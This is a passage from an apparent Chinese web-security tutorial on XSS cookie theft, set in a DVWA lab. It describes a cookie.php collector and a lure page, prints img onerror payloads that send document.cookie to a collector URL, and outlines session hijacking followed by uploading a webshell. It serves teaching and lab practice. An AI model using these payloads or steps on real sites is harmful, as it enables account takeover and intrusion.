XSS Payload
XSS Payload
前文谈到了XSS的几种分类。接下来,就从攻击的角度来体验一下XSS的
威力。XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。
4.1 XSS盗取Cookie
一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发
起“Cookie劫持”攻击。Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户。
4.1.1 反射XSS盗取Cookie
(1)首先,搭建一个dvwa的靶场IP地址为192.168.235.54,登录页面,进入反射型XSS的页面,,假设这个页面为一个可搜索的页面。发现它的地址为http://192.168.235.54/dvwa/vulnerabilities/xss_r/,则可为构造Payload提供攻击地址。
图4.1 Dvwa平台下反射型XSS的页面
(1)输入8888,找到它的输出点。
图4.2 发现输入点在name这里。
(2)先建立cookie.php文件,为演示效果更好,加入了盗取成功的文字。
图4.3 文件cookie.php的代码内容
(3)根据刚才在Dvwa平台得到的信息,构造Payload,编成一个触发链接的文件,名为show.html。
图4.4 文件show.html的代码内容
(5)假设我们的show.html文件是一个具有诱惑性的信息,用户就开始点击它,最后发现出现了一句话是:我得到了你的Cookie,当然这句话是为了演示而写的,平常的话会转到一个用户感觉安全的页面,比如转回原页面、首页面等等。但毫不疑问用户已经被盗取了Cookie。因为D:\phpstudy_pro\WWW\cdl\cookie下添加了cookie.txt的文件,就是用户的Cookie。
图4.5 用户点击诱惑性文件show.html的位置
图4.6 黑客成功获取cookie
(5)查看得到的Cookie,准备实施下一步攻击。
图4.7 cookie的内容
我们盗取Cookie的整个过程已经完成了,当然我们的环境是在低级下进行的,当我们用高级环境时,就会出现过滤情况,我们下面小结中会详细介绍XSS Payload如何绕过,进行攻击。当然这里没有进行高级演示,但XSS Payload还是会给出来:
<img src="x" onerror='document.location.href="http://127.0.0.1:8081/cdl/cookie/cookie.php?cookie="+document.cookie'>
<img src="x" onerror='location.href="http://127.0.0.1:8081/cdl/cookie/cookie.php?cookie="+document.cookie'>
4.1.2 利用cookie会话劫持
打开Cookie.txt文件,找到Cookie值,访问目标站点,修改Cookie为Cookie.txt文件中的内容。这是因为在当前的Web中,Cookie一般是用户登录的凭证,浏览器发起的所有请求都会自动带上Cookie。如果Cookie没有绑定客户端信息,当攻击者窃取了Cookie后,就可以不用密码登录进用户的账户。
图4.8劫持成功
当然Cookie的“HttpOnly”标识可以防止“Cookie劫持”,我们将在稍后的章节中再具体介绍。
4.1.3 劫持会话后的操作
(1)进入后台寻找上传点等进一步利用漏洞给上传一句话Webshell。
(2)修改配置等。